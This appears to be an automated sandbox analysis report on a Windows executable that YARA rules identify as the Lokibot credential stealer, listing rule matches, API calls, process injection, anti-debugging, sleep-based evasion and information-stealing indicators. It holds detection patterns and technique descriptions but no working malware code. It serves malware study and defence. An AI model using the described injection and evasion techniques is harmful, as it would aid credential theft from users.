Source: 2.2.__.exe.23e0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 2.2.__.exe.23e0000.3.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 2.2.__.exe.23e0000.3.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.__.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.__.exe.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.293455627.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000003.00000000.293455627.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.294708391.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000003.00000000.294708391.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.296551442.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000003.00000000.296551442.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000001.298801287.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000003.00000001.298801287.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.295652868.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000003.00000000.295652868.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.553100353.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000003.00000002.553100353.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.299558111.00000000023E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, reference = https://twitter.com/stvemillertime/status/1237035794973560834, score = , modified = 2021-05-27
Source: 00000002.00000002.299558111.00000000023E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000002.00000002.299558111.00000000023E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research

Contains functionality to shutdown / reboot the system

Source: C:\Users\user\Desktop\__.exe

Code function: 2_2_00403225 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

2_2_00403225

Detected potential crypto function

Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_0040604C		2_2_0040604C
Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_00404772		2_2_00404772
Source: C:\Users\user\Desktop\__.exe	Code function: 3_2_0040549C		3_2_0040549C
Source: C:\Users\user\Desktop\__.exe	Code function: 3_2_004029D4		3_2_004029D4

Found potential string decryption / allocating functions

Source: C:\Users\user\Desktop\__.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\Desktop\__.exe	Code function: String function: 00405B6F appears 42 times

Sample file is different than original file name gathered from version info

Source: __.exe, 00000002.00000003.293725132.00000000031B6000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs __.exe
Source: __.exe, 00000002.00000003.292979079.000000000334F000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs __.exe

Sample is known by Antivirus

Source: __.exe	Virustotal: Detection: 34%
Source: __.exe	ReversingLabs: Detection: 39%

Sample reads its own file content

Source: C:\Users\user\Desktop\__.exe

File read: C:\Users\user\Desktop\__.exe

Jump to behavior

PE file has an executable .text section and no other executable section

Source: __.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads software policies

Source: C:\Users\user\Desktop\__.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\__.exe "C:\Users\user\Desktop\__.exe"
Source: C:\Users\user\Desktop\__.exe	Process created: C:\Users\user\Desktop\__.exe "C:\Users\user\Desktop\__.exe"
Source: C:\Users\user\Desktop\__.exe	Process created: C:\Users\user\Desktop\__.exe "C:\Users\user\Desktop\__.exe"			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Users\user\Desktop\__.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Contains functionality to adjust token privileges (e.g. debug / backup)

Source: C:\Users\user\Desktop\__.exe

Code function: 3_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

3_2_0040650A

Creates files inside the user directory

Source: C:\Users\user\Desktop\__.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto

Jump to behavior

Creates temporary files

Source: C:\Users\user\Desktop\__.exe

File created: C:\Users\user\AppData\Local\Temp\nsjD67.tmp

Jump to behavior

Classification label

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/6@56/1

Contains functionality to instantiate COM classes

Source: C:\Users\user\Desktop\__.exe

Code function: 2_2_00402012 CoCreateInstance,MultiByteToWideChar,

2_2_00402012

Reads ini files

Source: C:\Users\user\Desktop\__.exe

File read: C:\Users\desktop.ini

Jump to behavior

Contains functionality to check free disk space

Source: C:\Users\user\Desktop\__.exe

Code function: 2_2_00404275 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

2_2_00404275

Creates mutexes

Source: C:\Users\user\Desktop\__.exe

Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430

Reads the hosts file

Source: C:\Users\user\Desktop\__.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Checks if Microsoft Office is installed

Source: C:\Users\user\Desktop\__.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: wntdll.pdbUGP source: __.exe, 00000002.00000003.291276471.00000000030A0000.00000004.00000001.sdmp, __.exe, 00000002.00000003.292633393.0000000003230000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: __.exe, 00000002.00000003.291276471.00000000030A0000.00000004.00000001.sdmp, __.exe, 00000002.00000003.292633393.0000000003230000.00000004.00000001.sdmp

Data Obfuscation:

Yara detected aPLib compressed binary

Source: Yara match	File source: 3.0.__.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.__.exe.23e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.__.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.__.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.__.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.__.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.__.exe.23e0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.293455627.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.294708391.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.296551442.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000001.298801287.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.295652868.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.553100353.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.299558111.00000000023E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: __.exe PID: 7040, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: __.exe PID: 5768, type: MEMORYSTR

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_738D1000 push eax; ret		2_2_738D102E
Source: C:\Users\user\Desktop\__.exe	Code function: 3_2_00402AC0 push eax; ret		3_2_00402AD4
Source: C:\Users\user\Desktop\__.exe	Code function: 3_2_00402AC0 push eax; ret		3_2_00402AFC

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\__.exe

Code function: 2_2_00405DA3 GetModuleHandleA,LoadLibraryA,GetProcAddress,

2_2_00405DA3

Persistence and Installation Behavior:

Drops PE files

Source: C:\Users\user\Desktop\__.exe

File created: C:\Users\user\AppData\Local\Temp\nsjD69.tmp\firfslz.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Users\user\Desktop\__.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Users\user\Desktop\__.exe	Process information set: NOGPFAULTERRORBOX			Jump to behavior

Malware Analysis System Evasion:

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\__.exe TID: 6184

Thread sleep time: -720000s >= -30000s

Jump to behavior

Contains functionality to enumerate / list files inside a directory

Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_00405D7C FindFirstFileA,FindClose,		2_2_00405D7C
Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_004053AA CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,		2_2_004053AA
Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_00402630 FindFirstFileA,		2_2_00402630
Source: C:\Users\user\Desktop\__.exe	Code function: 3_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,		3_2_00403D74

Contains medium sleeps (>= 30s)

Source: C:\Users\user\Desktop\__.exe

Thread delayed: delay time: 60000

Jump to behavior

Program exit points

Source: C:\Users\user\Desktop\__.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\__.exe	API call chain: ExitProcess graph end node

Anti Debugging:

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\__.exe

Code function: 2_2_00405DA3 GetModuleHandleA,LoadLibraryA,GetProcAddress,

2_2_00405DA3

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\__.exe

Code function: 3_2_00402B7C GetProcessHeap,RtlAllocateHeap,

3_2_00402B7C

Enables debug privileges

Source: C:\Users\user\Desktop\__.exe

Process token adjusted: Debug

Jump to behavior

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_0019E886 mov eax, dword ptr fs:[00000030h]		2_2_0019E886
Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_0019E672 mov eax, dword ptr fs:[00000030h]		2_2_0019E672
Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_0019E9B4 mov eax, dword ptr fs:[00000030h]		2_2_0019E9B4
Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_0019E937 mov eax, dword ptr fs:[00000030h]		2_2_0019E937
Source: C:\Users\user\Desktop\__.exe	Code function: 2_2_0019E976 mov eax, dword ptr fs:[00000030h]		2_2_0019E976
Source: C:\Users\user\Desktop\__.exe	Code function: 3_2_0040317B mov eax, dword ptr fs:[00000030h]		3_2_0040317B

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\__.exe

Memory written: C:\Users\user\Desktop\__.exe base: 400000 value starts with: 4D5A

Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Desktop\__.exe

Process created: C:\Users\user\Desktop\__.exe "C:\Users\user\Desktop\__.exe"

Jump to behavior

May try to detect the Windows Explorer process (often used for injection)

Source: __.exe, 00000003.00000002.553478796.0000000000E30000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: __.exe, 00000003.00000002.553478796.0000000000E30000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: __.exe, 00000003.00000002.553478796.0000000000E30000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: __.exe, 00000003.00000002.553478796.0000000000E30000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Queries the cryptographic machine GUID

Source: C:\Users\user\Desktop\__.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Contains functionality to query windows version

Source: C:\Users\user\Desktop\__.exe

Code function: 2_2_00405AA7 GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

2_2_00405AA7

Contains functionality to query the account / user name

Source: C:\Users\user\Desktop\__.exe

Code function: 3_2_00406069 GetUserNameW,

3_2_00406069

Stealing of Sensitive Information:

Yara detected Lokibot

Source: Yara match	File source: 00000003.00000002.553223743.00000000007A7000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.316225767.00000000007BD000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: __.exe PID: 5768, type: MEMORYSTR
Source: Yara match	File source: 3.0.__.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.__.exe.23e0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.__.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.__.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.__.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.__.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.__.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000000.293455627.0000000000400000.00000040.00000001.sdmp, type: MEMORY
